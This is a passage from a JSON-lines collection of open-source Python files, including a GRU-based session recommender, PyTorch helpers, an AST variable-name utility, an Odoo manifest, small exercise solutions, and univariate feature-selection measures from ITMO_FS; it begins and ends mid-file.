size_y)\n e_x = e_x / tf.reduce_sum(e_x, axis=1, keep_dims=True)\n return e_x # (b, size_y)\n\n def _bpr_max_loss(self, logits):\n # logits: (b, size_y)\n softmax_scores = self._softmax_neg(logits) # (b, size_y)\n pos_logits = tf.matrix_diag_part(logits) # (b,)\n pos_logits = tf.reshape(pos_logits, shape=[-1, 1]) # (b, 1)\n prob = tf.sigmoid((pos_logits - logits)) # (b, size_y)\n prob = tf.reduce_sum(tf.multiply(prob, softmax_scores), axis=1) # (b,)\n loss = -tf.log(prob + 1e-24)\n reg_loss = tf.reduce_sum(tf.multiply(tf.pow(logits, 2), softmax_scores), axis=1) # (b,)\n\n return tf.reduce_mean(loss + self.bpr_reg*reg_loss)\n\n def _top1_max_loss(self, logits):\n softmax_scores = self._softmax_neg(logits) # (b, size_y)\n\n pos_logits = tf.matrix_diag_part(logits) # (b,)\n pos_logits = tf.reshape(pos_logits, shape=[-1, 1]) # (b, 1)\n prob = tf.sigmoid(-pos_logits + logits) + tf.sigmoid(tf.pow(logits, 2))\n loss = tf.reduce_sum(tf.multiply(prob, softmax_scores), axis=1)\n\n return tf.reduce_mean(loss)\n\n def build_graph(self):\n self._create_variable()\n # get embedding and bias\n # b: batch size\n # l1: the dim of the first layer\n # ln: the dim of the last layer\n # size_y: the length of Y_ph, i.e., n_sample+batch_size\n\n cells = [tf.nn.rnn_cell.GRUCell(size, activation=self.hidden_act) for size in self.layers]\n drop_cell = [tf.nn.rnn_cell.DropoutWrapper(cell) for cell in cells]\n stacked_cell = tf.nn.rnn_cell.MultiRNNCell(drop_cell)\n inputs = tf.nn.embedding_lookup(self.input_embeddings, self.X_ph) # (b, l1)\n outputs, state = stacked_cell(inputs, state=self.state_ph)\n self.u_emb = outputs # outputs: (b, ln)\n self.final_state = state # [(b, l1), (b, l2), ..., (b, ln)]\n\n # for training\n items_embed = tf.nn.embedding_lookup(self.item_embeddings, self.Y_ph) # (size_y, ln)\n items_bias = tf.gather(self.item_biases, self.Y_ph) # (size_y,)\n\n logits = tf.matmul(outputs, items_embed, transpose_b=True) + items_bias # (b, size_y)\n logits = self.final_act(logits)\n\n loss = self.loss_fun(logits)\n\n # reg loss\n\n reg_loss = l2_loss(inputs, items_embed, items_bias)\n final_loss = loss + self.reg*reg_loss\n self.update_opt = tf.train.AdamOptimizer(self.lr).minimize(final_loss)\n\n def _sample_neg_items(self, size):\n samples = np.searchsorted(self.pop_cumsum, np.random.rand(size))\n return samples\n\n def train_model(self):\n self.logger.info(self.evaluator.metrics_info())\n\n data_uit, offset_idx = self.data_uit, self.offset_idx\n data_items = data_uit[:, 1]\n\n for epoch in range(self.epochs):\n state = [np.zeros([self.batch_size, n_unit], dtype=np.float32) for n_unit in self.layers]\n user_idx = np.random.permutation(len(offset_idx) - 1)\n iters = np.arange(self.batch_size, dtype=np.int32)\n maxiter = iters.max()\n start = offset_idx[user_idx[iters]]\n end = offset_idx[user_idx[iters]+1]\n finished = False\n while not finished:\n min_len = (end - start).min()\n out_idx = data_items[start]\n for i in range(min_len-1):\n in_idx = out_idx\n out_idx = data_items[start+i+1]\n out_items = out_idx\n if self.n_sample:\n neg_items = self._sample_neg_items(self.n_sample)\n out_items = np.hstack([out_items, neg_items])\n\n feed = {self.X_ph: in_idx, self.Y_ph: out_items}\n for l in range(len(self.layers)):\n feed[self.state_ph[l]] = state[l]\n\n _, state = self.sess.run([self.update_opt, self.final_state], feed_dict=feed)\n\n start = start+min_len-1\n mask = np.arange(len(iters))[(end - start) <= 1]\n for idx in mask:\n maxiter += 1\n if maxiter >= len(offset_idx)-1:\n finished = True\n break\n iters[idx] = maxiter\n start[idx] = offset_idx[user_idx[maxiter]]\n end[idx] = offset_idx[user_idx[maxiter]+1]\n if len(mask):\n for i in range(len(self.layers)):\n state[i][mask] = 0\n\n result = self.evaluate_model()\n self.logger.info(\"epoch %d:\\t%s\" % (epoch, result))\n\n def _get_user_embeddings(self):\n users = np.arange(self.users_num, dtype=np.int32)\n u_nnz = np.array([self.train_matrix[u].nnz for u in users], dtype=np.int32)\n users = users[np.argsort(-u_nnz)]\n user_embeddings = np.zeros([self.users_num, self.layers[-1]], dtype=np.float32) # saving user embedding\n\n data_uit, offset_idx = self.data_uit, self.offset_idx\n data_items = data_uit[:, 1]\n\n state = [np.zeros([self.batch_size, n_unit], dtype=np.float32) for n_unit in self.layers]\n batch_iter = np.arange(self.batch_size, dtype=np.int32)\n next_iter = batch_iter.max() + 1\n\n start = offset_idx[users[batch_iter]]\n end = offset_idx[users[batch_iter] + 1] # the start index of next user\n\n batch_mask = np.ones([self.batch_size], dtype=np.int32)\n while np.sum(batch_mask) > 0:\n min_len = (end - start).min()\n\n for i in range(min_len):\n cur_items = data_items[start + i]\n feed = {self.X_ph: cur_items}\n for l in range(len(self.layers)):\n feed[self.state_ph[l]] = state[l]\n\n u_emb, state = self.sess.run([self.u_emb, self.final_state], feed_dict=feed)\n\n start = start + min_len\n mask = np.arange(self.batch_size)[(end - start) == 0]\n for idx in mask:\n u = users[batch_iter[idx]]\n user_embeddings[u] = u_emb[idx] # saving user embedding\n if next_iter < self.users_num:\n batch_iter[idx] = next_iter\n start[idx] = offset_idx[users[next_iter]]\n end[idx] = offset_idx[users[next_iter] + 1]\n next_iter += 1\n else:\n batch_mask[idx] = 0\n start[idx] = 0\n end[idx] = offset_idx[-1]\n\n for i, _ in enumerate(self.layers):\n state[i][mask] = 0\n\n return user_embeddings\n\n def evaluate_model(self):\n self.cur_user_embeddings = self._get_user_embeddings()\n self.cur_item_embeddings, self.cur_item_biases = self.sess.run([self.item_embeddings, self.item_biases])\n return self.evaluator.evaluate(self)\n\n def predict(self, users, items=None):\n user_embeddings = self.cur_user_embeddings[users]\n all_ratings = np.matmul(user_embeddings, self.cur_item_embeddings.T) + self.cur_item_biases\n\n # final_act = leaky-relu\n if self.final_act == tf.nn.relu:\n all_ratings = np.maximum(all_ratings, 0)\n elif self.final_act == tf.identity:\n all_ratings = all_ratings\n elif self.final_act == tf.nn.leaky_relu:\n all_ratings = np.maximum(all_ratings, all_ratings*0.2)\n else:\n pass\n all_ratings = np.array(all_ratings, dtype=np.float32)\n\n if items is not None:\n all_ratings = [all_ratings[idx][item] for idx, item in enumerate(items)]\n return all_ratings\n", "source": "jasonshere/NeuRec", "license": "MIT"} {"text": "import math\r\n\r\nT = int(input())\r\n\r\nfor i in range(0,T):\r\n\tnum = int(input())\r\n\r\n\ttemp = 0.5 * (-3 + math.sqrt(9-4*(2-2*num)))\r\n\r\n\tif(abs(int(temp) - temp) < 0.00000000001):\r\n\t\tprint(int(temp))\r\n\telse:\r\n\t\tprint('No solution')\r\n", "source": "sc458/uHunt-solutions", "license": "MIT"} {"text": "# CMU 16-726 Learning-Based Image Synthesis / Spring 2022, Assignment 3\n# The code base is based on the great work from CSC 321, U Toronto\n# https://www.cs.toronto.edu/~rgrosse/courses/csc321_2018/assignments/a4-code.zip\n\nimport os\nimport torch\n\n\ndef to_var(x):\n \"\"\"Converts numpy to variable.\"\"\"\n if torch.cuda.is_available():\n x = x.cuda()\n return x\n\n\ndef to_data(x):\n \"\"\"Converts variable to numpy.\"\"\"\n if torch.cuda.is_available():\n x = x.cpu()\n return x.detach().numpy()\n\n\ndef create_dir(directory):\n \"\"\"Creates a directory if it does not already exist.\n \"\"\"\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n", "source": "CaoYuchen/16726", "license": "MIT"} {"text": "\"\"\"\nThis contains the function used to automatically detect the name of assignements using ast parsing features\n\"\"\"\n\nimport ast\nimport inspect\nfrom typing import Optional\n\nimport executing\n\n\nclass AstFailure(Exception):\n ...\n\n\nclass TooManyAssignments(Exception):\n ...\n\n\ndef get_parent_assign(node: ast.AST) -> ast.Assign:\n \"\"\"Look for an ast.Assign node in the parents\"\"\"\n while hasattr(node, 'parent'):\n node = node.parent\n\n if isinstance(node, ast.Assign):\n return node\n raise AstFailure(\n 'Failed to retrieve the variable name.'\n )\n\n\ndef get_variable_name(with_raise: bool = True) -> Optional[str]:\n # TODO: maybe should handle depth, number of f_back\n frame = inspect.currentframe().f_back.f_back\n node = executing.Source.executing(frame).node\n try:\n assignment = get_parent_assign(node)\n except AstFailure as e:\n if with_raise:\n raise e\n else:\n return None\n target = assignment.targets[0]\n if isinstance(target, ast.Name):\n return target.id\n if isinstance(target, ast.Tuple):\n raise TooManyAssignments(\n f\"Can only work with one assignment\"\n )\n if with_raise:\n raise AstFailure(\n f\"Can only get name of a variable or attribute, not {ast.dump(assignment)}\"\n )\n return None\n", "source": "tinyest-org/petit_type_system", "license": "Apache-2.0"} {"text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Apr 3 22:51:58 2020\r\n\r\n@author: gabri\r\n\"\"\"\r\n\r\nfrom gab_toolbox import format_tools\r\nfrom gab_toolbox import tex_tools\r\nfrom gab_toolbox import mail_tools\r\n", "source": "gbene/gab_toolbox", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n{\n \"name\": \"Import Settings\",\n \"vesion\": \"10.0.1.0.0\",\n \"summary\": \"Allows to save import settings to don't specify columns to fields mapping each time.\",\n \"category\": \"Extra Tools\",\n \"images\": [\"images/icon.png\"],\n \"author\": \"IT-Projects LLC, Dinar Gabbasov\",\n \"website\": \"https://www.twitter.com/gabbasov_dinar\",\n \"license\": \"Other OSI approved licence\", # MIT\n \"price\": 90.00,\n \"currency\": \"EUR\",\n \"depends\": [\"base_import\"],\n \"data\": [\n \"security/ir.model.access.csv\",\n \"views/base_import_map_templates.xml\",\n \"views/base_import_map_view.xml\",\n ],\n \"demo\": [],\n \"installable\": True,\n \"auto_install\": False,\n}\n", "source": "ShaheenHossain/itpp-labs-misc-addons13", "license": "MIT"} {"text": "number = int(input())\nbonus_points = 0\nif number <= 100:\n bonus_points += 5\nelif number > 1000:\n bonus_points += number * 0.10\nelse:\n bonus_points += number * 0.20\nif number % 2 == 0:\n bonus_points += 1\nif number % 10 == 5:\n bonus_points += 2\nprint(bonus_points)\nprint(bonus_points + number)", "source": "Rohitm619/Softuni-Python-Basic", "license": "MIT"} {"text": "from functools import partial, update_wrapper\nfrom math import exp\n\nimport numpy as np\nfrom scipy.sparse import lil_matrix\nfrom scipy.stats import rankdata\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.metrics.pairwise import pairwise_distances, euclidean_distances\nfrom sklearn.neighbors import NearestNeighbors\n\nfrom ...utils.information_theory import conditional_entropy\nfrom ...utils.information_theory import entropy\nfrom ...utils.qpfs_body import qpfs_body\nfrom ...utils.functions import knn_from_class\n\n\ndef _wrapped_partial(func, *args, **kwargs):\n partial_func = partial(func, *args, **kwargs)\n update_wrapper(partial_func, func)\n return partial_func\n\n\ndef fit_criterion_measure(x, y):\n \"\"\"Calculate the FitCriterion score for features. Bigger values mean more\n important features.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The training input samples.\n y : array-like, shape (n_samples,)\n The target values.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n https://core.ac.uk/download/pdf/191234514.pdf\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import fit_criterion_measure\n >>> import numpy as np\n >>> x = np.array([[1, 2, 4, 1, 1], [2, 2, 2, 1, 2], [3, 5, 1, 1, 4],\n ... [1, 1, 1, 1, 4], [2, 2, 2, 1, 5]])\n >>> y = np.array([1, 2, 3, 1, 2])\n >>> fit_criterion_measure(x, y)\n array([1. , 0.8, 0.8, 0.4, 0.6])\n \"\"\"\n def count_hits(feature):\n splits = {cl: feature[y == cl] for cl in classes}\n means = {cl: np.mean(splits[cl]) for cl in classes}\n devs = {cl: np.var(splits[cl]) for cl in classes}\n distances = np.vectorize(\n lambda x_val: {cl: (\n abs(x_val - means[cl])\n / (devs[cl] + 1e-10)) for cl in classes})(feature)\n return np.sum(np.vectorize(lambda d: min(d, key=d.get))(distances) == y)\n\n classes = np.unique(y)\n return np.apply_along_axis(count_hits, 0, x) / x.shape[0]\n\n\ndef f_ratio_measure(x, y):\n \"\"\"Calculate Fisher score for features. Bigger values mean more important\n features.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The training input samples.\n y : array-like, shape (n_samples,)\n The target values.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n https://papers.nips.cc/paper/2909-laplacian-score-for-feature-selection.pdf\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import f_ratio_measure\n >>> import numpy as np\n >>> x = np.array([[3, 3, 3, 2, 2], [3, 3, 1, 2, 3], [1, 3, 5, 1, 1],\n ... [3, 1, 4, 3, 1], [3, 1, 2, 3, 1]])\n >>> y = np.array([1, 3, 2, 1, 2])\n >>> f_ratio_measure(x, y)\n array([0.6 , 0.2 , 1. , 0.12, 5.4 ])\n \"\"\"\n def __F_ratio(feature):\n splits = {cl: feature[y == cl] for cl in classes}\n mean_feature = np.mean(feature)\n inter_class = np.sum(\n np.vectorize(lambda cl: (\n counts_d[cl]\n * np.power(mean_feature - np.mean(splits[cl]), 2)))(classes))\n intra_class = np.sum(\n np.vectorize(lambda cl: (\n counts_d[cl]\n * np.var(splits[cl])))(classes))\n return inter_class / (intra_class + 1e-10)\n\n classes, counts = np.unique(y, return_counts=True)\n counts_d = {cl: counts[idx] for idx, cl in enumerate(classes)}\n return np.apply_along_axis(__F_ratio, 0, x)\n\n\ndef gini_index(x, y):\n \"\"\"Calculate Gini index for features. Bigger values mean more important\n features. This measure works best with discrete features due to being based\n on information theory.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The training input samples.\n y : array-like, shape (n_samples,)\n The target values.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n http://lkm.fri.uni-lj.si/xaigor/slo/clanki/ijcai95z.pdf\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import gini_index\n >>> from sklearn.preprocessing import KBinsDiscretizer\n >>> x = np.array([[3, 3, 3, 2, 2], [3, 3, 1, 2, 3], [1, 3, 5, 1, 1],\n ... [3, 1, 4, 3, 1], [3, 1, 2, 3, 1]])\n >>> y = np.array([1, 3, 2, 1, 2])\n >>> est = KBinsDiscretizer(n_bins=10, encode='ordinal')\n >>> x = est.fit_transform(x)\n >>> gini_index(x, y)\n array([0.14 , 0.04 , 0.64 , 0.24 , 0.37333333])\n \"\"\"\n def __gini(feature):\n values, counts = np.unique(feature, return_counts=True)\n counts_d = {val: counts[idx] for idx, val in enumerate(values)}\n total_sum = np.sum(\n np.vectorize(\n lambda val: (\n np.sum(\n np.square(\n np.unique(\n y[feature == val], return_counts=True)[1]))\n / counts_d[val]))(values))\n return total_sum / x.shape[0] - prior_prob_squared_sum\n\n classes, counts = np.unique(y, return_counts=True)\n prior_prob_squared_sum = np.sum(np.square(counts / x.shape[0]))\n\n return np.apply_along_axis(__gini, 0, x)\n\n\ndef su_measure(x, y):\n \"\"\"SU is a correlation measure between the features and the class\n calculated via formula SU(X,Y) = 2 * I(X|Y) / (H(X) + H(Y)). Bigger values\n mean more important features. This measure works best with discrete\n features due to being based on information theory.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The training input samples.\n y : array-like, shape (n_samples,)\n The target values.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n https://pdfs.semanticscholar.org/9964/c7b42e6ab311f88e493b3fc552515e0c764a.pdf\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import su_measure\n >>> from sklearn.preprocessing import KBinsDiscretizer\n >>> import numpy as np\n >>> x = np.array([[3, 3, 3, 2, 2], [3, 3, 1, 2, 3], [1, 3, 5, 1, 1],\n ... [3, 1, 4, 3, 1], [3, 1, 2, 3, 1]])\n >>> y = np.array([1, 3, 2, 1, 2])\n >>> est = KBinsDiscretizer(n_bins=10, encode='ordinal')\n >>> x = est.fit_transform(x)\n >>> su_measure(x, y)\n array([0.28694182, 0.13715115, 0.79187567, 0.47435099, 0.67126949])\n \"\"\"\n def __SU(feature):\n entropy_x = entropy(feature)\n return (2 * (entropy_x - conditional_entropy(y, feature))\n / (entropy_x + entropy_y))\n\n entropy_y = entropy(y)\n return np.apply_along_axis(__SU, 0, x)\n\n# TODO CONCORDATION COEF\n\ndef kendall_corr(x, y):\n \"\"\"Calculate Sample sign correlation (Kendall correlation) for each\n feature. Bigger absolute values mean more important features.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The training input samples.\n y : array-like, shape (n_samples,)\n The target values.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n https://en.wikipedia.org/wiki/Kendall_rank_correlation_coefficient\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import kendall_corr\n >>> import numpy as np\n >>> x = np.array([[3, 3, 3, 2, 2], [3, 3, 1, 2, 3], [1, 3, 5, 1, 1],\n ... [3, 1, 4, 3, 1], [3, 1, 2, 3, 1]])\n >>> y = np.array([1, 3, 2, 1, 2])\n >>> kendall_corr(x, y)\n array([-0.1, 0.2, -0.4, -0.2, 0.2])\n \"\"\"\n def __kendall_corr(feature):\n k_corr = 0.0\n for i in range(len(feature)):\n k_corr += np.sum(np.sign(feature[i] - feature[i + 1:])\n * np.sign(y[i] - y[i + 1:]))\n return 2 * k_corr / (feature.shape[0] * (feature.shape[0] - 1))\n\n return np.apply_along_axis(__kendall_corr, 0, x)\n\n\ndef fechner_corr(x, y):\n \"\"\"Calculate Sample sign correlation (Fechner correlation) for each\n feature. Bigger absolute values mean more important features.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The training input samples.\n y : array-like, shape (n_samples,)\n The target values.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import fechner_corr\n >>> import numpy as np\n >>> x = np.array([[3, 3, 3, 2, 2], [3, 3, 1, 2, 3], [1, 3, 5, 1, 1],\n ... [3, 1, 4, 3, 1], [3, 1, 2, 3, 1]])\n >>> y = np.array([1, 3, 2, 1, 2])\n >>> fechner_corr(x, y)\n array([-0.2, 0.2, -0.4, -0.2, -0.2])\n \"\"\"\n y_dev = y - np.mean(y)\n x_dev = x - np.mean(x, axis=0)\n return np.sum(np.sign(x_dev.T * y_dev), axis=1) / x.shape[0]\n\ndef reliefF_measure(x, y, k_neighbors=1):\n \"\"\"Calculate ReliefF measure for each feature. Bigger values mean more\n important features.\n\n Note:\n Only for complete x\n Rather than repeating the algorithm m(TODO Ask Nikita about user defined)\n times, implement it exhaustively (i.e. n times, once for each instance)\n for relatively small n (up to one thousand).\n\n Calculates spearman correlation for each feature.\n Spearman's correlation assesses monotonic relationships (whether linear or\n not). If there are no repeated data values, a perfect Spearman correlation\n of +1 or \u22121 occurs when each of the variables is a perfect monotone\n function of the other.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The input samples.\n y : array-like, shape (n_samples,)\n The classes for the samples.\n k_neighbors : int, optional\n The number of neighbors to consider when assigning feature importance\n scores. More neighbors results in more accurate scores but takes\n longer. Selection of k hits and misses is the basic difference to\n Relief and ensures greater robustness of the algorithm concerning noise.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n R.J. Urbanowicz et al. Relief-based feature selection: Introduction and\n review. Journal of Biomedical Informatics 85 (2018) 189\u2013203\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import reliefF_measure\n >>> import numpy as np\n >>> x = np.array([[3, 3, 3, 2, 2], [3, 3, 1, 2, 3], [1, 3, 5, 1, 1],\n ... [3, 1, 4, 3, 1], [3, 1, 2, 3, 1], [1, 2, 1, 4, 2], [4, 3, 2, 3, 1]])\n >>> y = np.array([1, 2, 2, 1, 2, 1, 2])\n >>> reliefF_measure(x, y)\n array([-0.14285714, -0.57142857, 0.10714286, -0.14285714, 0.07142857])\n >>> reliefF_measure(x, y, k_neighbors=2)\n array([-0.07142857, -0.17857143, -0.07142857, -0.0952381 , -0.17857143])\n \"\"\"\n def __calc_misses(index):\n misses_diffs_classes = np.abs(\n np.vectorize(\n lambda cl: (\n x[index]\n - x[knn_from_class(dm, y, index, k_neighbors, cl)])\n * prior_prob[cl],\n signature='()->(n,m)')(classes[classes != y[index]]))\n return (np.sum(np.sum(misses_diffs_classes, axis=1), axis=0)\n / (1 - prior_prob[y[index]]))\n\n classes, counts = np.unique(y, return_counts=True)\n if np.any(counts <= k_neighbors):\n raise ValueError(\n \"Cannot calculate relieff measure because one of theclasses has \"\n \"less than %d samples\" % (k_neighbors + 1))\n prior_prob = dict(zip(classes, np.array(counts) / len(y)))\n n_samples = x.shape[0]\n n_features = x.shape[1]\n # use manhattan distance instead of euclidean\n dm = pairwise_distances(x, x, 'manhattan')\n\n indices = np.arange(n_samples)\n # use abs instead of square because of manhattan distance\n hits_diffs = np.abs(\n np.vectorize(\n lambda index: (\n x[index]\n - x[knn_from_class(dm, y, index, k_neighbors, y[index])]),\n signature='()->(n,m)')(indices))\n H = np.sum(hits_diffs, axis=(0,1))\n\n misses_sum_diffs = np.vectorize(\n lambda index: __calc_misses(index),\n signature='()->(n)')(indices)\n M = np.sum(misses_sum_diffs, axis=0)\n\n weights = M - H\n # dividing by m * k guarantees that all final weights\n # will be normalized within the interval [ \u2212 1, 1].\n weights /= n_samples * k_neighbors\n # The maximum and minimum values of A are determined over the entire\n # set of instances.\n # This normalization ensures that weight updates fall\n # between 0 and 1 for both discrete and continuous features.\n with np.errstate(divide='ignore', invalid=\"ignore\"): # todo\n return weights / (np.amax(x, axis=0) - np.amin(x, axis=0))\n\n\ndef relief_measure(x, y, m=None, random_state=42):\n \"\"\"Calculate Relief measure for each feature. This measure is supposed to\n work only with binary classification datasets; for multi-class problems use\n the ReliefF measure. Bigger values mean more important features.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The input samples.\n y : array-like, shape (n_samples,)\n The classes for the samples.\n m : int, optional\n Amount of iterations to do. If not specified, n_samples iterations\n would be performed.\n random_state : int, optional\n Random state for numpy random.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n R.J. Urbanowicz et al. Relief-based feature selection: Introduction and\n review. Journal of Biomedical Informatics 85 (2018) 189\u2013203\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import relief_measure\n >>> import numpy as np\n >>> x = np.array([[3, 3, 3, 2, 2], [3, 3, 1, 2, 3], [1, 3, 5, 1, 1],\n ... [3, 1, 4, 3, 1], [3, 1, 2, 3, 1]])\n >>> y = np.array([1, 2, 2, 1, 2])\n >>> relief_measure(x, y)\n array([ 0. , -0.6 , -0.1875, -0.15 , -0.4 ])\n \"\"\"\n weights = np.zeros(x.shape[1])\n classes, counts = np.unique(y, return_counts=True)\n if len(classes) == 1:\n raise ValueError(\"Cannot calculate relief measure with 1 class\")\n if 1 in counts:\n raise ValueError(\n \"Cannot calculate relief measure because one of the classes has \"\n \"only 1 sample\")\n\n n_samples = x.shape[0]\n n_features = x.shape[1]\n if m is None:\n m = n_samples\n\n x_normalized = MinMaxScaler().fit_transform(x)\n dm = euclidean_distances(x_normalized, x_normalized)\n indices = np.random.default_rng(random_state).integers(\n low=0, high=n_samples, size=m)\n objects = x_normalized[indices]\n hits_diffs = np.square(\n np.vectorize(\n lambda index: (\n x_normalized[index]\n - x_normalized[knn_from_class(dm, y, index, 1, y[index])]),\n signature='()->(n,m)')(indices))\n misses_diffs = np.square(\n np.vectorize(\n lambda index: (\n x_normalized[index]\n - x_normalized[knn_from_class(\n dm, y, index, 1, y[index], anyOtherClass=True)]),\n signature='()->(n,m)')(indices))\n\n H = np.sum(hits_diffs, axis=(0,1))\n M = np.sum(misses_diffs, axis=(0,1))\n\n weights = M - H\n\n return weights / m\n\n\ndef chi2_measure(x, y):\n \"\"\"Calculate the Chi-squared measure for each feature. Bigger values mean\n more important features. This measure works best with discrete features due\n to being based on statistics.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The training input samples.\n y : array-like, shape (n_samples,)\n The target values.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n http://lkm.fri.uni-lj.si/xaigor/slo/clanki/ijcai95z.pdf\n\n Example\n -------\n >>> from ITMO_FS.filters.univariate import chi2_measure\n >>> from sklearn.preprocessing import KBinsDiscretizer\n >>> import numpy as np\n >>> x = np.array([[3, 3, 3, 2, 2], [3, 3, 1, 2, 3], [1, 3, 5, 1, 1],\n ... [3, 1, 4, 3, 1], [3, 1, 2, 3, 1]])\n >>> y = np.array([1, 3, 2, 1, 2])\n >>> est = KBinsDiscretizer(n_bins=10, encode='ordinal')\n >>> x = est.fit_transform(x)\n >>> chi2_measure(x, y)\n array([ 1.875 , 0.83333333, 10. , 3.75 , 6.66666667])\n \"\"\"\n def __chi2(feature):\n values, counts = np.unique(feature, return_counts=True)\n values_map = {val: idx for idx, val in enumerate(values)}\n splits = {cl: np.array([values_map[val] for val in feature[y == cl]]) \n for cl in classes}\n e = np.vectorize(\n lambda cl: prior_probs[cl] * counts,\n signature='()->(1)')(classes)\n n = np.vectorize(\n lambda cl: np.bincount(splits[cl], minlength=values.shape[0]),\n signature='()->(1)')(classes)\n return np.sum(np.square(e - n) / e)\n\n classes, counts = np.unique(y, return_counts=True)\n prior_probs = {cl: counts[idx] / x.shape[0] for idx, cl\n in enumerate(classes)}\n \n return np.apply_along_axis(__chi2, 0, x)\n\n\n#\n# def __contingency_matrix(labels_true, labels_pred):\n# \"\"\"Build a contingency matrix describing the relationship between labels.\n# Parameters\n# ----------\n# labels_true : int array, shape = [n_samples]\n# Ground truth class labels to be used as a reference\n# labels_pred : array, shape = [n_samples]\n# Cluster labels to evaluate\n# Returns\n# -------\n# contingency : {array-like, sparse}, shape=[n_classes_true, n_classes_pred]\n# Matrix :math:`C` such that :math:`C_{i, j}` is the number of samples in\n# true class :math:`i` and in predicted class :math:`j`. If\n# ``eps is None``, the dtype of this array will be integer. If ``eps`` is\n# given, the dtype will be float.\n# \"\"\"\n# classes, class_idx = np.unique(labels_true, return_inverse=True)\n# clusters, cluster_idx = np.unique(labels_pred, return_inverse=True)\n# n_classes = classes.shape[0]\n# n_clusters = clusters.shape[0]\n# # Using coo_matrix to accelerate simple histogram calculation,\n# # i.e. bins are consecutive integers\n# # Currently, coo_matrix is faster than histogram2d for simple cases\n# # TODO redo it with numpy\n# contingency = sp.coo_matrix((np.ones(class_idx.shape[0]),\n# (class_idx, cluster_idx)),\n# shape=(n_classes, n_clusters),\n# dtype=np.int)\n# contingency = contingency.tocsr()\n# contingency.sum_duplicates()\n# return contingency\n#\n#\n# def __mi(U, V):\n# contingency = __contingency_matrix(U, V)\n# nzx, nzy, nz_val = sp.find(contingency)\n# contingency_sum = contingency.sum()\n# pi = np.ravel(contingency.sum(axis=1))\n# pj = np.ravel(contingency.sum(axis=0))\n# log_contingency_nm = np.log(nz_val)\n# contingency_nm = nz_val / contingency_sum\n# # Don't need to calculate the full outer product, just for non-zeroes\n# outer = (pi.take(nzx).astype(np.int64, copy=False)\n# * pj.take(nzy).astype(np.int64, copy=False))\n# log_outer = -np.log(outer) + log(pi.sum()) + log(pj.sum())\n# mi = (contingency_nm * (log_contingency_nm - log(contingency_sum)) +\n# contingency_nm * log_outer)\n# return mi.sum()\n#\n\ndef spearman_corr(x, y):\n \"\"\"Calculate Spearman's correlation for each feature. Bigger absolute\n values mean more important features. This measure works best with discrete\n features due to being based on statistics.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The training input samples.\n y : array-like, shape (n_samples,)\n The target values.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n https://en.wikipedia.org/wiki/Spearman's_rank_correlation_coefficient\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import spearman_corr\n >>> from sklearn.preprocessing import KBinsDiscretizer\n >>> import numpy as np\n >>> x = np.array([[3, 3, 3, 2, 2], [3, 3, 1, 2, 3], [1, 3, 5, 1, 1],\n ... [3, 1, 4, 3, 1], [3, 1, 2, 3, 1]])\n >>> y = np.array([1, 3, 2, 1, 2])\n >>> est = KBinsDiscretizer(n_bins=10, encode='ordinal')\n >>> x = est.fit_transform(x)\n >>> spearman_corr(x, y)\n array([-0.186339 , 0.30429031, -0.52704628, -0.30555556, 0.35355339])\n \"\"\"\n n = x.shape[0]\n if n < 2:\n raise ValueError(\"The input should contain more than 1 sample\")\n\n x_ranks = np.apply_along_axis(rankdata, 0, x)\n y_ranks = rankdata(y)\n\n return pearson_corr(x_ranks, y_ranks)\n\n\ndef pearson_corr(x, y):\n \"\"\"Calculate Pearson's correlation for each feature. Bigger absolute\n values mean more important features. This measure works best with discrete\n features due to being based on statistics.\n\n Parameters\n ----------\n x : array-like, shape (n_samples, n_features)\n The training input samples.\n y : array-like, shape (n_samples,)\n The target values.\n\n Returns\n -------\n array-like, shape (n_features,) : feature scores\n\n See Also\n --------\n https://en.wikipedia.org/wiki/Pearson_correlation_coefficient\n\n Examples\n --------\n >>> from ITMO_FS.filters.univariate import pearson_corr\n >>> from sklearn.preprocessing import KBinsDiscretizer\n >>> import numpy as np\n >>> x = np.array([[3, 3, 3, 2, 2], [3, 3, 1, 2, 3], [1, 3, 5, 1, 1],\n ... [3, 1, 4, 3, 1], [3, 1, 2, 3, 1]])\n >>> y = np.array([1, 3, 2, 1, 2])\n >>> est = KBinsDiscretizer(n_bins=10, encode='ordinal')\n >>> x = est.fit_transform(x)\n >>> pearson_corr(x, y)\n array([-0.13363062, 0.32732684, -0.60631301, -0.26244533, 0.53452248])\n \"\"\"\n x_dev = x - np.mean(x, axis=0)\n y_dev = y - 